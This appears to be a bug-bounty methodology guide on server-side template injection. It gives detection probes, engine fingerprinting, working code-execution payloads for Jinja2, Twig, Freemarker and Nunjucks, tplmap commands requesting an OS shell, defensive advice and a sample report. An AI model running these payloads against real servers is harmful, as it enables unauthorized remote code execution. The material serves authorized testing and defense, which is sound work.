Server Side Template Injection

Server-Side Template Injection (SSTI)

When to Use

• When discovering input fields (e.g., Usernames, Email Templates, URL parameters) that are directly rendered or reflected on the corresponding web page without sanitization.
• When XSS (Cross-Site Scripting) payloads are blocked or escaped, but the server appears to be interpreting special bracket characters ({{ }}, ${ }, <% %>).
• When attempting to escalate a simple input reflection bug into full Remote Code Execution (RCE) on the server.

Prerequisites

• Authorized scope and target URLs from bug bounty program
• Burp Suite Professional (or Community) configured with browser proxy
• Familiarity with OWASP Top 10 and common web vulnerability classes
• SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Detection and Identification

# Concept: If an application unsafely passes user input into a template rendering engine, 
# it will evaluate mathematical expressions wrapped in template syntax.

# 1. Probe the application with standard template tags
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}

# 2. Analyze the response
# If the application reflects verbatim: "{{7*7}}" -> Not vulnerable, or wrong tag.
# If the application reflects: "49" -> CRITICAL! SSTI exists. The server evaluated the math.
# If the application throws an Error: The stack trace often reveals the exact engine (e.g., "Jinja2 Exception", "Twig Error").

Phase 2: Engine Mapping

# Once mathematical evaluation is proven, you must determine WHICH template engine is running,
# as specific payloads vary drastically between Python, Java, Ruby, and PHP engines.

# PortSwigger SSTI Decision Tree:
# Input: {{7*'7'}}
# - If output is 49     -> Looks like Twig (PHP)
# - If output is 7777777 -> Looks like Jinja2 (Python) or Nunjucks (Node)
# - If output is error   -> Try Java/Ruby syntaxes.

# Input: ${7/0}
# Java engines (Freemarker, Velocity) will throw specific arithmetic exceptions.

Phase 3: Context Escaping and Sandbox Evasion

# Most template engines run in a "sandbox" preventing direct access to the underlying OS.
# The goal is to traverse the object map to find classes that allow system execution (e.g., `os.popen`).

# --- EXPLOITING JINJA2 (PYTHON / FLASK) --- #

# 1. Base Class Traversal
# Get the object class, traverse up to the base object (`object`), then find all subclasses loaded in memory.
{{ ''.__class__.__mro__[1].__subclasses__() }}

# Output will be a massive array of hundreds of Python classes. 
# Search the output for classes capable of executing commands, such as `subprocess.Popen`, `os._wrap_close`, or `importlib`.

# 2. Extracting the Index (e.g., we find `<class 'os._wrap_close'>` at index 117)
{{ ''.__class__.__mro__[1].__subclasses__()[117] }}

# 3. Payload Construction (Achieving RCE)
# Pass the shell command to the mapped execution class.
{{ ''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('id').read() }}
# Output: uid=1000(www-data) gid=1000(www-data)

Phase 4: Exploiting Other Common Engines

# --- EXPLOITING TWIG (PHP) --- #
# Exploit the `registerUndefinedFilterCallback` to execute arbitrary PHP functions.
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{app.request.server.all|keys|join(',')}}

# --- EXPLOITING FREEMARKER (JAVA) --- #
# Expose the `freemarker.template.utility.Execute` class.
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

# --- EXPLOITING NUNJUCKS (NODE.JS) --- #
# Climb the prototype chain to reach native Node.js processes.
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}}

Phase 5: Automated Testing via Tplmap

# Tplmap conceptually mimics SQLmap but is designed for template injection.

# 1. Clone Tplmap
git clone https://github.com/epinna/tplmap.git

# 2. Scan a specific parameter
python2 tplmap.py -u "http://target.com/page?name=inject_here"

# 3. Request a Reverse Shell (if the engine is vulnerable and supports RCE)
python2 tplmap.py -u "http://target.com/page?name=inject_here" --os-shell

🔵 Blue Team Detection & Defense

• Logicless Templates: The most secure defense is migrating to "logicless" template engines (like Mustache/Handlebars without helper functions) that explicitly cannot execute code, even if unsanitized user input is evaluated.
• Strict Separation: NEVER construct template files dynamically using string concatenation containing user input. User input should always be passed as data parameters contextualized within a static, predefined template.
  • VULNERABLE: template = Template("Hello " + user_input)
  • SECURE: template = Template("Hello {{ name }}"); template.render(name=user_input)
• Sandboxing: Modern template environments should possess strict security configurations locking down their ability to read the file system or spawn child processes.
• WAF Rules: Alert on multiple bracket sequences {{, ${, <% combined with common reflection keywords (__class__, subclasses, require, exec).

Key Concepts

Output Format

SSTI Vulnerability Report
=========================
Endpoint: POST /api/v1/generate_report
Parameter: `custom_title`
Template Engine: Jinja2 (Python)

Summary:
The `custom_title` parameter on the report generation screen is vulnerable to Server-Side Template Injection. The underlying Flask web framework dynamically constructs the Jinja2 template strings with raw user input.

Evidence:
Submission of the payload `{{7*7}}` results in the PDF output header rendering as "49".
Submission of the payload:
`{{ ''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('whoami').read() }}`

Resulting execution output rendered on page:
`svc_reporting_app`

Impact: HIGH/CRITICAL. This allows unauthenticated Remote Code Execution (RCE) and full shell access to the web server container.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• PortSwigger: Server-side template injection
• HackTricks: SSTI Payloads & Syntax
• Tplmap: GitHub Repository